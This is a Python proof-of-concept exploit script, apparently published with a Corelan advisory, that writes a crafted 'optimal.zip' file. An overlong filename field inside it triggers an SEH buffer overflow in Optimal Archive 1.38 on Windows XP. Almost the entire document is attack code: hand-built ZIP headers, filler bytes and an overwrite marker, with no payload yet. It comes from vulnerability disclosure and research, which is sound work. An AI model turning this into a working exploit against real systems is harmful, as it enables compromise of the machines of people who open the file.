Optimal Archive 1.38 – ‘.zip’ File (SEH) (PoC)
#!/usr/bin/python # ####################################################################### # Title: Optimal Archive 1.38 (.zip) 0day SEH PoC # Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c # Found by: TecR0c # Download: http://www.optimalaccess.com/oadownload.php?version=oarchive.exe # Platform: Windows XP sp3 En # Advisory: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-017 # Greetz to: Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # ####################################################################### # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # Trigger : Right click on specially crafzip file > Boom # Very strange behavior when debugging print "|------------------------------------------------------------------|" print "| __ __ |" print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |" print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |" print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |" print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |" print "| |" print "| http://www.corelan.be:8800 |" print "| security@corelan.be |" print "| |" print "|-------------------------------------------------[ EIP Hunters ]--|" print "[+] optimal (.zip) - by TecR0c" ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\xe4\x0f" "\x00\x00\x00") cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xe4\x0f" "\x00\x00\x00\x00\x00\x00\x01\x00" "\x24\x00\x00\x00\x00\x00\x00\x00") eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00" "\x12\x10\x00\x00" "\x02\x10\x00\x00" "\x00\x00") buff = "\x42" * 2340 buff += "\x44" * 4 buff += "\x42" * (4064-len(buff)) buff += ".txt" mefile = open('optimal.zip','w'); mefile.write(ldf_header + buff + cdf_header + buff + eofcdf_header); mefile.close() |